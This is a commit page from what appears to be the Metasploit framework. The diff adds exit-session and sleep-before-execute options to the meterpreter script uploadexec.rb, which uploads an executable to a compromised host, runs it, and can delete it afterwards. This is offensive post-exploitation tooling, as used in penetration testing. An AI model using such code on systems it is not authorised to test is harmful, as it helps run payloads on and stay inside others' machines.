Skip to content

Commit 388064b

Browse files
committed
Add -x and -s parameters to uploadexec
Added -x parameter to the script which indicates that the underlying meterpreter session should be terminated when the execution has finished. Added -s parameter which takes a floating point number as an arg which indicates the number of seconds to sleep between uploading and executing. This helps in the case where http(s) payloads are used for meterpreter and a time delay is needed to make sure that the file has been written to disk and the lock released prior to attempting to executing it.
1 parent 22c7703 commit 388064b

File tree

1 file changed

+19
-0
lines changed

1 file changed

+19
-0
lines changed

scripts/meterpreter/uploadexec.rb

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55
"-e" => [ true, "Executable or script to upload to target host." ],
66
"-o" => [ true, "Options for executable." ],
77
"-p" => [ false,"Path on target to upload executable, default is %TEMP%." ],
8+
"-x" => [ false,"Exit the session once the payload has been run." ],
9+
"-s" => [ true,"Sleep for a number of seconds after uploading before executing." ],
810
"-v" => [ false,"Verbose, return output of execution of uploaded executable." ],
911
"-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ]
1012
)
@@ -93,6 +95,8 @@ def unsupported
9395
path = ""
9496
verbose = 0
9597
remove = 0
98+
quit = 0
99+
sleep_sec = nil
96100
@@exec_opts.parse(args) { |opt, idx, val|
97101
case opt
98102
when "-e"
@@ -105,8 +109,12 @@ def unsupported
105109
verbose = 1
106110
when "-h"
107111
helpcall = 1
112+
when "-s"
113+
sleep_sec = val.to_f
108114
when "-r"
109115
remove = 1
116+
when "-x"
117+
quit = 1
110118
end
111119

112120
}
@@ -116,9 +124,20 @@ def unsupported
116124
end
117125
print_status("Running Upload and Execute Meterpreter script....")
118126
exec = upload(session,file,path)
127+
if sleep_sec
128+
print_status("\tSleeping for #{sleep_sec}s...")
129+
sleep(sleep_sec)
130+
end
119131
cmd_on_trgt_exec(session,exec,cmdopt,verbose)
120132
if remove == 1
121133
print_status("\tDeleting #{exec}")
122134
m_unlink(session, exec)
123135
end
136+
137+
if quit == 1
138+
print_status("Closing the session...")
139+
session.core.shutdown rescue nil
140+
session.shutdown_passive_dispatcher
141+
end
142+
124143
print_status("Finished!")

0 commit comments

Comments
 (0)